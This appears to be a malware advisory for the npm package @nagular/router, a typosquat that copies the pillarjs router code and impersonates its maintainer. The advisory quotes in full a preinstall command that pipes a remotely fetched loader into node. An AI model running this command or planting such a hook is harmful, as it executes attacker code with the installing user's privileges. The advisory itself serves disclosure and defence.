Summary: Malicious code in @nagular/router (npm)

Details: @nagular/[email protected] impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script. Source: amazon-inspector (5db05365620b3f716b28b41577e593bc35a6699aee20090951158c206c2585ca) package.json declares a preinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an opaque JavaScript payload from an unrelated third-party repository (gitflic.ru/hellscripter/install-scripts) proxied via web.archive.org and piping it directly into node at `npm install` time. The fetched bytes are not pinned by hash or version, the host is unrelated to the declared repository (pillarjs/router) or publisher domain (somethingdoug.com), and execution happens automatically with full user privileges on every install. Package metadata further impersonates the maintainer of the legitimate pillarjs/router package (author: Douglas Christopher Wilson) and uses the scope `@nagular/router`, a name likely to be confused with `@angular/router`, consistent with a typosquat lure designed to trick installers into running the preinstall dropper.
